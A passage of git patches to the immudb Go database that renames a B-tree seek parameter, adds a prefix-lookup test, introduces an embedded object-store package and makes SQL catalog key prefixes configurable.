n.nodes[i].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) + path, leafNode, off, err := n.nodes[i].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) if errors.Is(err, ErrKeyNotFound) { continue } @@ -1971,7 +1971,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey return path, leafNode, off, err } - return n.nodes[len(n.nodes)-1].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder) + return n.nodes[len(n.nodes)-1].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder) } func (n *innerNode) ts() uint64 { @@ -2140,12 +2140,12 @@ func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) return n.history(key, offset, descOrder, limit) } -func (r *nodeRef) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (r *nodeRef) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, nil, 0, err } - return n.findLeafNode(keyPrefix, path, offset, neqKey, descOrder) + return n.findLeafNode(seekKey, path, offset, neqKey, descOrder) } func (r *nodeRef) minKey() []byte { @@ -2362,7 +2362,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u return tss, hCount, nil } -func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (l *leafNode) findLeafNode(seekKey []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values))) if descOrder { for i := len(l.values); i > 0; i-- { @@ -2372,7 +2372,7 @@ func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byt continue } - if bytes.Compare(key, keyPrefix) < 1 { + if bytes.Compare(key, seekKey) < 1 { return path, l, i - 1, nil } } @@ -2385,7 +2385,7 @@ func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byt continue } - if bytes.Compare(keyPrefix, v.key) < 1 { + if bytes.Compare(seekKey, v.key) < 1 { return path, l, i, nil } } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 7724d7cb79..4e62d5fc73 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1528,3 +1528,54 @@ func TestMultiTimedBulkInsertion(t *testing.T) { err = tbtree.Close() require.NoError(t, err) } + +func TestGetWithPrefix(t *testing.T) { + tbtree, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer tbtree.Close() + + key1 := []byte{1, 82, 46, 0, 0, 0, 1} + key2 := []byte{2, 82, 46, 0, 0, 0, 1} + + err = tbtree.Insert(key1, []byte("value")) + require.NoError(t, err) + + err = tbtree.Insert(key2, []byte("value")) + require.NoError(t, err) + + t.Run("get with prefix over tbtree", func(t *testing.T) { + _, _, _, _, err = tbtree.GetWithPrefix(key1, key1) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err := tbtree.GetWithPrefix(key1, nil) + require.NoError(t, err) + require.Equal(t, key1, k) + + _, _, _, _, err = tbtree.GetWithPrefix(key2, key2) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err = tbtree.GetWithPrefix(key2, nil) + require.NoError(t, err) + require.Equal(t, key2, k) + }) + + t.Run("get with prefix over a snapshot", func(t *testing.T) { + snap, err := tbtree.Snapshot() + require.NoError(t, err) + + _, _, _, _, err = snap.GetWithPrefix(key1, key1) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err := snap.GetWithPrefix(key1, nil) + require.NoError(t, err) + require.Equal(t, key1, k) + + _, _, _, _, err = snap.GetWithPrefix(key2, key2) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err = snap.GetWithPrefix(key2, nil) + require.NoError(t, err) + require.Equal(t, key2, k) + }) +} From 72f2bd27f1384bf335a364fd2a83fbc90765d345 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 20 Feb 2023 14:28:44 +0530 Subject: [PATCH 0306/1062] feat(embedded/object): add object store to embedded pkg --- embedded/object/api.go | 31 ++++ embedded/object/engine.go | 322 +++++++++++++++++++++++++++++++++++ embedded/object/statement.go | 43 +++++ embedded/object/tx.go | 163 ++++++++++++++++++ embedded/sql/catalog.go | 88 +++++++--- embedded/sql/catalog_test.go | 2 +- embedded/sql/engine.go | 20 +-- embedded/sql/engine_test.go | 26 +-- embedded/sql/options.go | 12 ++ 9 files changed, 663 insertions(+), 44 deletions(-) create mode 100644 embedded/object/api.go create mode 100644 embedded/object/engine.go create mode 100644 embedded/object/statement.go create mode 100644 embedded/object/tx.go diff --git a/embedded/object/api.go b/embedded/object/api.go new file mode 100644 index 0000000000..5262c5134b --- /dev/null +++ b/embedded/object/api.go @@ -0,0 +1,31 @@ +package object + +import ( + "context" + + "github.com/codenotary/immudb/embedded/sql" +) + +const ( + catalogDatabasePrefix = "CTL.OBJ.DATABASE." // (key=CTL.OBJ.DATABASE.{dbID}, value={dbNAME}) + catalogTablePrefix = "CTL.OBJ.TABLE." // (key=CTL.OBJ.TABLE.{dbID}{tableID}, value={tableNAME}) + catalogColumnPrefix = "CTL.OBJ.COLUMN." // (key=CTL.OBJ.COLUMN.{dbID}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) + catalogIndexPrefix = "CTL.OBJ.INDEX." // (key=CTL.OBJ.INDEX.{dbID}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) + + // Old prefixes that must not be reused: + // `CATALOG.DATABASE.` + // `CATALOG.TABLE.` + // `CATALOG.COLUMN.` + // `CATALOG.INDEX.` + // `P.` primary indexes without null support + // `S.` secondary indexes without null support + // `U.` secondary unique indexes without null support + // `PINDEX.` single-column primary indexes + // `SINDEX.` single-column secondary indexes + // `UINDEX.` single-column secondary unique indexes +) + +type Stmt interface { + execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) + inferParameters(ctx context.Context, tx Tx, params map[string]sql.SQLValueType) error +} diff --git a/embedded/object/engine.go b/embedded/object/engine.go new file mode 100644 index 0000000000..dbf911ed55 --- /dev/null +++ b/embedded/object/engine.go @@ -0,0 +1,322 @@ +package object + +import ( + "context" + "fmt" + "strings" + "sync" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" +) + +var maxKeyLen = 256 +var objectPrefix = []byte{3} + +const EncIDLen = 4 +const EncLenLen = 4 + +const MaxNumberOfColumnsInIndex = 8 + +type Engine struct { + store *store.ImmuStore + + prefix []byte + distinctLimit int + autocommit bool + + currentDatabase string + + multidbHandler MultiDBHandler + + mutex sync.RWMutex +} + +type MultiDBHandler interface { + ListDatabases(ctx context.Context) ([]string, error) + CreateDatabase(ctx context.Context, db string, ifNotExists bool) error + UseDatabase(ctx context.Context, db string) error + ExecPreparedStmts(ctx context.Context, opts *sql.TxOptions, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) +} + +func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { + if store == nil { + return nil, sql.ErrIllegalArguments + } + + err := opts.Validate() + if err != nil { + return nil, err + } + + e := &Engine{ + store: store, + prefix: make([]byte, len(opts.GetPrefix())), + distinctLimit: opts.GetDistinctLimit(), + autocommit: opts.GetAutoCommit(), + } + + copy(e.prefix, opts.GetPrefix()) + + return e, nil +} + +func newObjectCatalog() *sql.Catalog { + return sql.NewCatalog(catalogDatabasePrefix, catalogTablePrefix, catalogColumnPrefix, catalogIndexPrefix) +} + +func (e *Engine) SetMultiDBHandler(handler MultiDBHandler) { + e.mutex.Lock() + defer e.mutex.Unlock() + + e.multidbHandler = handler +} + +func (e *Engine) SetCurrentDatabase(ctx context.Context, dbName string) error { + tx, err := e.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return err + } + defer tx.Cancel() + + db, err := tx.catalog.GetDatabaseByName(dbName) + if err != nil { + return err + } + + e.mutex.Lock() + defer e.mutex.Unlock() + + e.currentDatabase = db.Name() + + return nil +} + +func (e *Engine) CurrentDatabase() string { + e.mutex.RLock() + defer e.mutex.RUnlock() + + return e.currentDatabase +} + +func (e *Engine) NewTx(ctx context.Context, opts *sql.TxOptions) (*ObjectTx, error) { + err := opts.Validate() + if err != nil { + return nil, err + } + + var mode store.TxMode + if opts.ReadOnly { + mode = store.ReadOnlyTx + } else { + mode = store.ReadWriteTx + } + + txOpts := &store.TxOptions{ + Mode: mode, + SnapshotMustIncludeTxID: opts.SnapshotMustIncludeTxID, + SnapshotRenewalPeriod: opts.SnapshotRenewalPeriod, + } + + e.mutex.RLock() + defer e.mutex.RUnlock() + + tx, err := e.store.NewTx(ctx, txOpts) + if err != nil { + return nil, err + } + + catalog := newObjectCatalog() + + err = catalog.Load(e.prefix, tx) + if err != nil { + return nil, err + } + + var currentDB *sql.Database + + if e.currentDatabase != "" { + db, err := catalog.GetDatabaseByName(e.currentDatabase) + if err != nil { + return nil, err + } + + currentDB = db + } + + return &ObjectTx{ + engine: e, + opts: opts, + tx: tx, + catalog: catalog, + currentDB: currentDB, + lastInsertedPKs: make(map[string]int64), + firstInsertedPKs: make(map[string]int64), + }, nil +} + +func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *ObjectTx, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, err error) { + ntx, ctxs, pendingStmts, err := e.execPreparedStmts(ctx, tx, stmts, params) + if err != nil { + return ntx, ctxs, err + } + + if len(pendingStmts) > 0 { + // a different database was selected + + if e.multidbHandler == nil || ntx != nil { + return ntx, ctxs, fmt.Errorf("%w: all statements should have been executed when not using a multidbHandler", sql.ErrUnexpected) + } + + var opts *sql.TxOptions + + if tx != nil { + opts = tx.opts + } else { + opts = sql.DefaultTxOptions() + } + + ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) + + return ntx, append(ctxs, hctxs...), err + } + + return ntx, ctxs, nil +} + +func (e *Engine) execPreparedStmts(ctx context.Context, tx *ObjectTx, stmts []Stmt, params map[string]interface{}) (ntx *ObjectTx, committedTxs []*ObjectTx, pendingStmts []Stmt, err error) { + if len(stmts) == 0 { + return nil, nil, stmts, sql.ErrIllegalArguments + } + + nparams, err := normalizeParams(params) + if err != nil { + return nil, nil, stmts, err + } + + currTx := tx + + execStmts := 0 + + for _, stmt := range stmts { + if stmt == nil { + return nil, nil, stmts[execStmts:], sql.ErrIllegalArguments + } + + _, isDBSelectionStmt := stmt.(*UseDatabaseStmt) + + // handle the case when working in non-autocommit mode outside a transaction block + if isDBSelectionStmt && (currTx != nil && !currTx.Closed()) && !currTx.IsExplicitCloseRequired() { + err = currTx.Commit(ctx) + if err == nil { + committedTxs = append(committedTxs, currTx) + } + if err != nil { + return nil, committedTxs, stmts[execStmts:], err + } + } + + if currTx == nil || currTx.Closed() { + var opts *sql.TxOptions + + if currTx != nil { + opts = currTx.opts + } else if tx != nil { + opts = tx.opts + } else { + opts = sql.DefaultTxOptions() + } + + // begin tx with implicit commit + currTx, err = e.NewTx(ctx, opts) + if err != nil { + return nil, committedTxs, stmts[execStmts:], err + } + } + + ntx, err := stmt.execAt(ctx, currTx, nparams) + if err != nil { + currTx.Cancel() + return nil, committedTxs, stmts[execStmts:], err + } + + if !currTx.Closed() && !currTx.IsExplicitCloseRequired() && e.autocommit { + err = currTx.Commit(ctx) + if err != nil { + return nil, committedTxs, stmts[execStmts:], err + } + } + + if currTx.committed { + committedTxs = append(committedTxs, currTx) + } + + currTx = ntx.(*ObjectTx) + + execStmts++ + + if isDBSelectionStmt && e.multidbHandler != nil { + break + } + } + + if currTx != nil && !currTx.Closed() && !currTx.IsExplicitCloseRequired() { + err = currTx.Commit(ctx) + if err != nil { + return nil, committedTxs, stmts[execStmts:], err + } + + committedTxs = append(committedTxs, currTx) + } + + if currTx != nil && currTx.Closed() { + currTx = nil + } + + return currTx, committedTxs, stmts[execStmts:], nil +} + +func (e *Engine) Catalog(ctx context.Context, tx *ObjectTx) (catalog *sql.Catalog, err error) { + qtx := tx + + if qtx == nil { + qtx, err = e.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer qtx.Cancel() + } + + return qtx.Catalog(), nil +} + +func normalizeParams(params map[string]interface{}) (map[string]interface{}, error) { + nparams := make(map[string]interface{}, len(params)) + + for name, value := range params { + nname := strings.ToLower(name) + + _, exists := nparams[nname] + if exists { + return nil, sql.ErrDuplicatedParameters + } + + nparams[nname] = value + } + + return nparams, nil +} + +// // CopyCatalogToTx copies the current sql catalog to the ongoing transaction. +// func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { +// e.mutex.RLock() +// defer e.mutex.RUnlock() + +// catalog := sql.newObjectCatalog() +// err := catalog.addSchemaToTx(e.prefix, tx) +// if err != nil { +// return err +// } + +// return nil +// } diff --git a/embedded/object/statement.go b/embedded/object/statement.go new file mode 100644 index 0000000000..058d38ff30 --- /dev/null +++ b/embedded/object/statement.go @@ -0,0 +1,43 @@ +package object + +import ( + "context" + "fmt" + + "github.com/codenotary/immudb/embedded/sql" +) + +type UseDatabaseStmt struct { + DB string +} + +func (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx Tx, params map[string]sql.SQLValueType) error { + return nil +} + +func (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx Tx, params map[string]interface{}) (Tx, error) { + if stmt.DB == "" { + return nil, fmt.Errorf("%w: no database name was provided", sql.ErrIllegalArguments) + } + + otx := tx.(*ObjectTx) + + if otx.IsExplicitCloseRequired() { + return nil, fmt.Errorf("%w: database selection can NOT be executed within a transaction block", sql.ErrNonTransactionalStmt) + } + + if otx.engine.multidbHandler != nil { + return otx, otx.engine.multidbHandler.UseDatabase(ctx, stmt.DB) + } + + _, err := otx.catalog.GetDatabaseByName(stmt.DB) + if err != nil { + return nil, err + } + + otx.engine.mutex.Lock() + otx.engine.currentDatabase = stmt.DB + otx.engine.mutex.Unlock() + + return otx, otx.useDatabase(stmt.DB) +} diff --git a/embedded/object/tx.go b/embedded/object/tx.go new file mode 100644 index 0000000000..e688e50a12 --- /dev/null +++ b/embedded/object/tx.go @@ -0,0 +1,163 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package object + +import ( + "context" + "errors" + "time" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" +) + +// Tx is a database transaction interface - it holds the primary methods used while using a transaction +type Tx interface { + Catalog() *sql.Catalog +} + +// ObjectTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW +type ObjectTx struct { + engine *Engine + + opts *sql.TxOptions + + tx *store.OngoingTx + + currentDB *sql.Database + catalog *sql.Catalog // in-mem catalog + + updatedRows int + lastInsertedPKs map[string]int64 // last inserted PK by table name + firstInsertedPKs map[string]int64 // first inserted PK by table name + + txHeader *store.TxHeader // header is set once tx is committed + + committed bool + closed bool +} + +func (otx *ObjectTx) Catalog() *sql.Catalog { + return otx.catalog +} + +func (otx *ObjectTx) IsExplicitCloseRequired() bool { + return otx.opts.ExplicitClose +} + +func (otx *ObjectTx) RequireExplicitClose() error { + if otx.updatedRows != 0 { + return store.ErrIllegalState + } + + otx.opts.ExplicitClose = true + + return nil +} + +func (otx *ObjectTx) useDatabase(dbName string) error { + db, err := otx.catalog.GetDatabaseByName(dbName) + if err != nil { + return err + } + + otx.currentDB = db + + return nil +} + +func (otx *ObjectTx) Database() *sql.Database { + return otx.currentDB +} + +func (otx *ObjectTx) Timestamp() time.Time { + return otx.tx.Timestamp() +} + +func (otx *ObjectTx) UpdatedRows() int { + return otx.updatedRows +} + +func (otx *ObjectTx) LastInsertedPKs() map[string]int64 { + return otx.lastInsertedPKs +} + +func (otx *ObjectTx) FirstInsertedPKs() map[string]int64 { + return otx.firstInsertedPKs +} + +func (otx *ObjectTx) TxHeader() *store.TxHeader { + return otx.txHeader +} + +func (otx *ObjectTx) sqlPrefix() []byte { + return otx.engine.prefix +} + +func (otx *ObjectTx) distinctLimit() int { + return otx.engine.distinctLimit +} + +func (otx *ObjectTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { + return otx.tx.NewKeyReader(rSpec) +} + +func (otx *ObjectTx) get(key []byte) (store.ValueRef, error) { + return otx.tx.Get(key) +} + +func (otx *ObjectTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { + return otx.tx.Set(key, metadata, value) +} + +func (otx *ObjectTx) existKeyWith(prefix, neq []byte) (bool, error) { + _, _, err := otx.tx.GetWithPrefix(prefix, neq) + if errors.Is(err, store.ErrKeyNotFound) { + return false, nil + } + + return err == nil, err +} + +func (otx *ObjectTx) Cancel() error { + if otx.closed { + return sql.ErrAlreadyClosed + } + + otx.closed = true + + return otx.tx.Cancel() +} + +func (otx *ObjectTx) Commit(ctx context.Context) error { + otx.committed = true + otx.closed = true + + // no need to wait for indexing to be up to date during commit phase + hdr, err := otx.tx.AsyncCommit(ctx) + if err != nil && err != store.ErrorNoEntriesProvided { + return err + } + + otx.txHeader = hdr + + return nil +} + +func (otx *ObjectTx) Closed() bool { + return otx.closed +} diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index c04c03ffde..da17f5ab3d 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -29,6 +29,27 @@ import ( type Catalog struct { dbsByID map[uint32]*Database dbsByName map[string]*Database + + // prefixes + databasePrefix string + tablePrefix string + columnPrefix string + indexPrefix string +} + +func (c *Catalog) WithDatabasePrefix(databasePrefix string) *Catalog { + c.databasePrefix = databasePrefix + return c +} + +func (c *Catalog) WithTablePrefix(tablePrefix string) *Catalog { + c.tablePrefix = tablePrefix + return c +} + +func (c *Catalog) WithColumnPrefix(columnPrefix string) *Catalog { + c.columnPrefix = columnPrefix + return c } type Database struct { @@ -38,6 +59,10 @@ type Database struct { tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table + + // prefixes + tablePrefix string + columnPrefix string } type Table struct { @@ -73,10 +98,27 @@ type Column struct { notNull bool } -func newCatalog() *Catalog { +func NewCatalog(databasePrefix, tablePrefix, columnPrefix, indexPrefix string) *Catalog { + return &Catalog{ + dbsByID: map[uint32]*Database{}, + dbsByName: map[string]*Database{}, + + databasePrefix: databasePrefix, + tablePrefix: tablePrefix, + columnPrefix: columnPrefix, + indexPrefix: indexPrefix, + } +} + +func newSQLCatalog() *Catalog { return &Catalog{ dbsByID: map[uint32]*Database{}, dbsByName: map[string]*Database{}, + + databasePrefix: catalogDatabasePrefix, + tablePrefix: catalogTablePrefix, + columnPrefix: catalogColumnPrefix, + indexPrefix: catalogIndexPrefix, } } @@ -97,6 +139,8 @@ func (c *Catalog) newDatabase(id uint32, name string) (*Database, error) { name: name, tablesByID: map[uint32]*Table{}, tablesByName: map[string]*Table{}, + tablePrefix: c.tablePrefix, + columnPrefix: c.columnPrefix, } c.dbsByID[db.id] = db @@ -518,9 +562,13 @@ func validMaxLenForType(maxLen int, sqlType SQLValueType) bool { return maxLen >= 0 } +func (c *Catalog) Load(sqlPrefix []byte, tx *store.OngoingTx) error { + return c.load(sqlPrefix, tx) +} + func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), + Prefix: mapKey(sqlPrefix, c.databasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -539,7 +587,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(sqlPrefix, mkey) + id, err := unmapDatabaseID(sqlPrefix, mkey, c.databasePrefix) if err != nil { return err } @@ -554,7 +602,7 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - err = db.loadTables(sqlPrefix, tx) + err = db.loadTables(sqlPrefix, c.indexPrefix, tx) if err != nil { return err } @@ -563,9 +611,9 @@ func (c *Catalog) load(sqlPrefix []byte, tx *store.OngoingTx) error { return nil } -func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { +func (db *Database) loadTables(sqlPrefix []byte, indexPrefix string, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(db.id)), + Prefix: mapKey(sqlPrefix, db.tablePrefix, EncodeID(db.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -584,7 +632,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + dbID, tableID, err := unmapTableID(sqlPrefix, mkey, db.tablePrefix) if err != nil { return err } @@ -593,7 +641,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return ErrCorruptedData } - colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix) + colSpecs, err := loadColSpecs(db.id, tableID, tx, sqlPrefix, db.columnPrefix) if err != nil { return err } @@ -612,7 +660,7 @@ func (db *Database) loadTables(sqlPrefix []byte, tx *store.OngoingTx) error { return ErrCorruptedData } - err = table.loadIndexes(sqlPrefix, tx) + err = table.loadIndexes(sqlPrefix, indexPrefix, tx) if err != nil { return err } @@ -664,8 +712,8 @@ func loadMaxPK(sqlPrefix []byte, tx *store.OngoingTx, table *Table) ([]byte, err return unmapIndexEntry(table.primaryIndex, sqlPrefix, mkey) } -func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) +func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, columnPrefix string) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -689,7 +737,7 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey, columnPrefix) if err != nil { return nil, err } @@ -724,8 +772,8 @@ func loadColSpecs(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) ( return } -func (table *Table) loadIndexes(sqlPrefix []byte, tx *store.OngoingTx) error { - initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(table.db.id), EncodeID(table.id)) +func (table *Table) loadIndexes(sqlPrefix []byte, indexPrefix string, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, indexPrefix, EncodeID(table.db.id), EncodeID(table.id)) idxReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -804,8 +852,8 @@ func trimPrefix(prefix, mkey []byte, mappingPrefix []byte) ([]byte, error) { return mkey[len(prefix)+len(mappingPrefix):], nil } -func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogDatabasePrefix)) +func unmapDatabaseID(prefix, mkey []byte, dbPrefix string) (dbID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(dbPrefix)) if err != nil { return 0, err } @@ -817,8 +865,8 @@ func unmapDatabaseID(prefix, mkey []byte) (dbID uint32, err error) { return binary.BigEndian.Uint32(encID), nil } -func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogTablePrefix)) +func unmapTableID(prefix, mkey []byte, tablePrefix string) (dbID, tableID uint32, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(tablePrefix)) if err != nil { return 0, 0, err } @@ -833,8 +881,8 @@ func unmapTableID(prefix, mkey []byte) (dbID, tableID uint32, err error) { return } -func unmapColSpec(prefix, mkey []byte) (dbID, tableID, colID uint32, colType SQLValueType, err error) { - encID, err := trimPrefix(prefix, mkey, []byte(catalogColumnPrefix)) +func unmapColSpec(prefix, mkey []byte, columnPrefix string) (dbID, tableID, colID uint32, colType SQLValueType, err error) { + encID, err := trimPrefix(prefix, mkey, []byte(columnPrefix)) if err != nil { return 0, 0, 0, "", err } diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 9842047976..329b6862b2 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -23,7 +23,7 @@ import ( ) func TestFromEmptyCatalog(t *testing.T) { - catalog := newCatalog() + catalog := newSQLCatalog() dbs := catalog.Databases() require.Empty(t, dbs) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 7f8e12daca..b95176dd42 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -202,7 +202,7 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { return nil, err } - catalog := newCatalog() + catalog := newSQLCatalog() err = catalog.load(e.prefix, tx) if err != nil { @@ -493,7 +493,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error e.mutex.RLock() defer e.mutex.RUnlock() - catalog := newCatalog() + catalog := newSQLCatalog() err := catalog.addSchemaToTx(e.prefix, tx) if err != nil { return err @@ -555,7 +555,7 @@ func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { // addSchemaToTx adds the schema of the catalog to the given transaction. func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), + Prefix: mapKey(sqlPrefix, d.tablePrefix, EncodeID(d.id)), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -574,7 +574,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + dbID, tableID, err := unmapTableID(sqlPrefix, mkey, d.tablePrefix) if err != nil { return err } @@ -584,7 +584,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // read col specs into tx - colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) + colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix, d.columnPrefix) if err != nil { return err } @@ -625,7 +625,7 @@ func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { // addSchemaToTx adds the schema of the catalog to the given transaction. func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { dbReaderSpec := store.KeyReaderSpec{ - Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), + Prefix: mapKey(sqlPrefix, c.databasePrefix), Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, } @@ -645,7 +645,7 @@ func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { return err } - id, err := unmapDatabaseID(sqlPrefix, mkey) + id, err := unmapDatabaseID(sqlPrefix, mkey, c.databasePrefix) if err != nil { return err } @@ -680,8 +680,8 @@ func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { } // addColSpecsToTx adds the column specs of the given table to the given transaction. -func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { - initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) +func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte, columnPrefix string) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, columnPrefix, EncodeID(dbID), EncodeID(tableID)) dbReaderSpec := store.KeyReaderSpec{ Prefix: initialKey, @@ -705,7 +705,7 @@ func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte return nil, err } - mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey, columnPrefix) if err != nil { return nil, err } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 645fa5aae3..8a790f88d2 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -4264,32 +4264,32 @@ func TestTrimPrefix(t *testing.T) { func TestUnmapDatabaseId(t *testing.T) { e := Engine{prefix: []byte("e-prefix.")} - id, err := unmapDatabaseID(e.prefix, nil) + id, err := unmapDatabaseID(e.prefix, nil, catalogDatabasePrefix) require.ErrorIs(t, err, ErrIllegalMappedKey) require.Zero(t, id) - id, err = unmapDatabaseID(e.prefix, []byte{}) + id, err = unmapDatabaseID(e.prefix, []byte{}, catalogDatabasePrefix) require.ErrorIs(t, err, 